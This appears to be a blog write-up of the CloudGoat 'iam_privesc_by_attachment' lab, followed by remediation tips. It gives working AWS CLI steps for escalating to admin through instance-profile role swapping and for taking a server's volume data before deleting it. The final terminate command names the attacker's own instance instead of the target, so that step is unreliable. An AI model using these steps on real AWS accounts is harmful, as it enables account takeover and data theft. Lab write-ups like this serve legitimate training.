In the first post of this series, we looked at the first scenario in the five “vulnerable by design” AWS environments provided by CloudGoat 2. In this post, we’ll cover the second scenario, called iam_privesc_by_attachment
.
The scenario goal is to delete the EC2 instance “cg-super-critical-security-server”, and Rhino Security Labs give this summary:
Starting with a very limited set of permissions, the attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to accomplish the scenario’s goal - deleting the cg-super-critical-security-server and paving the way for further nefarious actions.
The Exploit
To get started, we need to deploy the resources for this scenario, which consist of a VPC, EC2 instance, and an IAM user called Kerrigan.
./cloudgoat.py create iam_privesc_by_attachment
With a clear goal in mind we’ve got a good idea on where to start, but let’s begin by first seeing what permissions we have. We’ll export the credentials as before, using the details for the user Kerrigan from start.txt
and then see what roles are in the account.
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=IXiTd...
aws iam list-roles
{
"Path": "/",
"RoleName": "cg-ec2-meek-role-cgid7bu0g9wcn4",
"RoleId": "AROAWRT3VKZYGMZWK2NMI",
"Arn": "arn:aws:iam::123456789012:role/cg-ec2-meek-role-cgid7bu0g9wcn4",
"CreateDate": "2019-06-29T09:05:25Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cg-ec2-mighty-role-cgid7bu0g9wcn4",
"RoleId": "AROAWRT3VKZYMHIYINPXU",
"Arn": "arn:aws:iam::123456789012:role/cg-ec2-mighty-role-cgid7bu0g9wcn4",
"CreateDate": "2019-06-29T09:05:25Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
Initially, these roles look identical, so let’s see what the difference is. We get an access denied error trying to use list-attached-role-policies
, plus all of the following fail as well, so we clearly don’t have many permissions around IAM.
aws iam list-groups-for-user --user-name kerrigan
aws iam list-attached-user-policies --user-name kerrigan
aws iam list-user-policies --user-name kerrigan
Given that the scenario goal is to delete an EC2 instance, let’s skip this and start looking at EC2 resources. aws ec2 describe-instances
returns information on an instance in us-east-1, which is great because the access denied errors were starting to get a bit frustrating! Some key points from the outpout are:
"ImageId": "ami-0a313d6098716f372",
"PublicDnsName": "ec2-52-86-189-20.compute-1.amazonaws.com",
"PublicIpAddress": "52.86.189.20",
"SubnetId": "subnet-0f5d02aeb152216a4",
"VpcId": "vpc-0c8d75e6bee4f6d53",
"Groups": [
{
"GroupName": "cg-ec2-ssh-cgid7bu0g9wcn4",
"GroupId": "sg-0b20ab51745a5f445"
},
{
"GroupName": "cg-ec2-http-cgid7bu0g9wcn4",
"GroupId": "sg-03f9766418f209b6b"
}
],
"Tags": [
{
"Key": "Name",
"Value": "CloudGoat cgid7bu0g9wcn4 super-critical-security-server EC2 Instance"
}
]
As long as we have the necessary permissions, we can list the ingress and egress rules for each of those security groups by running aws ec2 describe-security-groups
- which shows us that ports are open for http (80), https (443), and ssh (22). Continuing to gather information about the instance, running the command aws iam list-instance-profiles
shows us that the profile cg-ec2-meek-instance-profile-cgid7bu0g9wcn4
is attached to the instance, with the corresponding ‘meek’ role.
Let’s push our luck and see what other EC2 permissions we have by trying to launch a new instance in the same subnet as the target instance, and attach the promising-sounding cg-ec2-mighty-role-cgid7bu0g9wcn4 role to it. To do that though, we’ll first need to create a new key pair since we don’t have access to the one already in the account.
aws ec2 create-key-pair --key-name thetestlabs --query 'KeyMaterial' --output text > thetestlabs.pem --region us-east-1
It only works! We already know the subnet that we want to use and the security groups from our earlier reconnaissance, so let’s go ahead and see if we can launch an instance, first making sure to change the permissions on the key.
chmod 400 thetestlabs.pem
aws ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::123456789012:instance-profile/cg-ec2-meek-instance-profile-cgid7bu0g9wcn4 --key-name thetestlabs --subnet-id subnet-0f5d02aeb152216a4 --security-group-ids sg-0b20ab51745a5f445 --region us-east-1
The command is successful, and an instance is launched in the account with our new key. Our goal here is to attach the ‘mighty’ role to the instance, and then leverage the permissions from the instance. So let’s remove the ‘meek’ role from the policy and attach the ‘mighty’ role to it, before jumping on the box.
aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgid7bu0g9wcn4 --role-name cg-ec2-meek-role-cgid7bu0g9wcn4
aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgid7bu0g9wcn4 --role-name cg-ec2-mighty-role-cgid7bu0g9wcn4
ssh -i "thetestlabs.pem" ubuntu@ec2-18-234-176-20.compute-1.amazonaws.com
Once we’re successfully on the box, we can install the AWS CLI and take a look at what permissions the role has.
sudo apt-get update && sudo apt-get install awscli
It turns out that the ‘mighty’ policy is truly mighty - it provides full admin access to the AWS account!
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"*"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
Now, the scenario’s goal is to delete the EC2 instance “cg-super-critical-security-server”, which we’re now in a position to do. It would make sense to exfiltrate the data on that server before deleting it though, so since we now have god-like access to the account let’s do that. We’ll shut down the instance, detach the volume it has before attaching it to our new instance, and then finally terminate the “cg-super-critical-security-server” instance.
aws ec2 stop-instances --instance-ids i-064b81a014e8a5bb2 --region us-east-1
aws ec2 detach-volume --volume-id vol-0cfec32f60a2ab043 --region us-east-1
aws ec2 attach-volume --volume-id vol-0cfec32f60a2ab043 --instance-id i-054fcb37d7ca80be5 --device /dev/sdf --region us-east-1
aws ec2 terminate-instances --instance-ids i-054fcb37d7ca80be5 --region us-east-1
We’ve achieved the goal, and as an added bonus can now look at the data and do anything we want with it.
Summary and Remediation
Like so many things, it comes down to exploiting the permissions we have to move on to privilege escalation. Enforcing IAM users to authenticate using MFA before allowing them to perform any actions would have stopped us, but given the fact that MFA isn’t set up, what more could be done?
There are a number of tools out there that can help with auditing your account and enforcing standards that you define - AWS themselves have Trusted Advisor and Config, both of which (from my experience) tend to be underused.
PMapper is an advanced and automated AWS IAM Evaluation Tool written in Python, which includes two presets:
The first is priv_esc, which is also available as privesc or change_perms. It identifies all principals that can change their own permissions (dubbed as admins) directly. Then it identifies any principals that can access the administrative principals (potential privilege escalation risks).
The other preset is connected. It identifies if one principal can access another, or list all principals that can be accessed.
Cloud Custodian is a great tool, which I’ll write a post about at a later date, that enables you to define rules using a YAML DSL to secure your account and actively enforce policies that you define.